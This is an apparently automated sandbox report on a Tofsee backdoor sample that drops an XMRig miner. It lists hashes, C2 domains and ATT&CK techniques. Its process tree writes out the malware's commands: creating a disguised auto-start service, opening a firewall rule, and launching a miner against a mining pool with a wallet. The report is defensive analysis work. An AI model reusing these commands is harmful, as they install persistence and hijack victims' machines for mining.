Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    18-06-2022 21:05

General

  • Target

    1b6dcfbb25bf4be1fe2b774da335a12ba689326c41590c9bdad667233db7846f.exe

  • Size

    308KB

  • MD5

    a9066c02505be21b4ad308b461f4a011

  • SHA1

    6ede760bfad13737621a0063e1924d28b023bbb9

  • SHA256

    1b6dcfbb25bf4be1fe2b774da335a12ba689326c41590c9bdad667233db7846f

  • SHA512

    365471af3eb9703ce11abf7f7dc61c2a9062141464d4fb524de4aa416aa8cabb994935bc89ccc924eec11ff298c0b81adfe10b7d4c9abc53d6a50567cde01c06

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1b6dcfbb25bf4be1fe2b774da335a12ba689326c41590c9bdad667233db7846f.exe
    "C:\Users\Admin\AppData\Local\Temp\1b6dcfbb25bf4be1fe2b774da335a12ba689326c41590c9bdad667233db7846f.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4636
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\cxcnkkpu\
      2⤵
        PID:5052
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\omkimqij.exe" C:\Windows\SysWOW64\cxcnkkpu\
        2⤵
          PID:4664
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create cxcnkkpu binPath= "C:\Windows\SysWOW64\cxcnkkpu\omkimqij.exe /d\"C:\Users\Admin\AppData\Local\Temp\1b6dcfbb25bf4be1fe2b774da335a12ba689326c41590c9bdad667233db7846f.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3160
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description cxcnkkpu "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:5032
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start cxcnkkpu
          2⤵
          • Launches sc.exe
          PID:4736
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2208
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4636 -s 1180
          2⤵
          • Program crash
          PID:3148
      • C:\Windows\SysWOW64\cxcnkkpu\omkimqij.exe
        C:\Windows\SysWOW64\cxcnkkpu\omkimqij.exe /d"C:\Users\Admin\AppData\Local\Temp\1b6dcfbb25bf4be1fe2b774da335a12ba689326c41590c9bdad667233db7846f.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4644
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2944
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4692
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4644 -s 524
          2⤵
          • Program crash
          PID:3808
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4636 -ip 4636
        1⤵
          PID:2300
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 4644 -ip 4644
          1⤵
            PID:3776

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\omkimqij.exe
            Filesize

            13.1MB

            MD5

            ef68c0161d47bc9c891020e458645f33

            SHA1

            f5e27dbb9e766bfdf345fc480ed7f3bba00bd8ec

            SHA256

            9f76b06424b9ff5a2baa634f56ad5f445f6c35bdb131d1cb426c8452faf15687

            SHA512

            ddaddca6513963374aa9cfdf57176a20faa9bd3eafef8a533b6494fbbff76f574a01ccd5aa0233d2ea5609aa341158bd408787666707729177acac20d0030ee7

          • C:\Windows\SysWOW64\cxcnkkpu\omkimqij.exe
            Filesize

            13.1MB

            MD5

            ef68c0161d47bc9c891020e458645f33

            SHA1

            f5e27dbb9e766bfdf345fc480ed7f3bba00bd8ec

            SHA256

            9f76b06424b9ff5a2baa634f56ad5f445f6c35bdb131d1cb426c8452faf15687

            SHA512

            ddaddca6513963374aa9cfdf57176a20faa9bd3eafef8a533b6494fbbff76f574a01ccd5aa0233d2ea5609aa341158bd408787666707729177acac20d0030ee7

          • memory/2208-140-0x0000000000000000-mapping.dmp
          • memory/2944-161-0x00000000021F0000-0x00000000021F5000-memory.dmp
            Filesize

            20KB

          • memory/2944-158-0x00000000021E0000-0x00000000021F0000-memory.dmp
            Filesize

            64KB

          • memory/2944-168-0x00000000031F0000-0x00000000031F7000-memory.dmp
            Filesize

            28KB

          • memory/2944-152-0x0000000002E00000-0x000000000300F000-memory.dmp
            Filesize

            2.1MB

          • memory/2944-166-0x0000000000E60000-0x0000000000E75000-memory.dmp
            Filesize

            84KB

          • memory/2944-151-0x0000000000E60000-0x0000000000E75000-memory.dmp
            Filesize

            84KB

          • memory/2944-155-0x00000000021D0000-0x00000000021D6000-memory.dmp
            Filesize

            24KB

          • memory/2944-164-0x0000000007E00000-0x000000000820B000-memory.dmp
            Filesize

            4.0MB

          • memory/2944-141-0x0000000000000000-mapping.dmp
          • memory/2944-142-0x0000000000E60000-0x0000000000E75000-memory.dmp
            Filesize

            84KB

          • memory/3160-136-0x0000000000000000-mapping.dmp
          • memory/4636-131-0x0000000002E20000-0x0000000002E33000-memory.dmp
            Filesize

            76KB

          • memory/4636-130-0x0000000002CAE000-0x0000000002CBC000-memory.dmp
            Filesize

            56KB

          • memory/4636-132-0x0000000000400000-0x0000000002C6C000-memory.dmp
            Filesize

            40.4MB

          • memory/4636-148-0x0000000002CAE000-0x0000000002CBC000-memory.dmp
            Filesize

            56KB

          • memory/4636-150-0x0000000000400000-0x0000000002C6C000-memory.dmp
            Filesize

            40.4MB

          • memory/4644-146-0x0000000002F09000-0x0000000002F17000-memory.dmp
            Filesize

            56KB

          • memory/4644-149-0x0000000000400000-0x0000000002C6C000-memory.dmp
            Filesize

            40.4MB

          • memory/4644-147-0x0000000002EC0000-0x0000000002ED3000-memory.dmp
            Filesize

            76KB

          • memory/4644-145-0x0000000000400000-0x0000000002C6C000-memory.dmp
            Filesize

            40.4MB

          • memory/4664-134-0x0000000000000000-mapping.dmp
          • memory/4692-171-0x0000000000000000-mapping.dmp
          • memory/4692-172-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/4692-177-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/4736-138-0x0000000000000000-mapping.dmp
          • memory/5032-137-0x0000000000000000-mapping.dmp
          • memory/5052-133-0x0000000000000000-mapping.dmp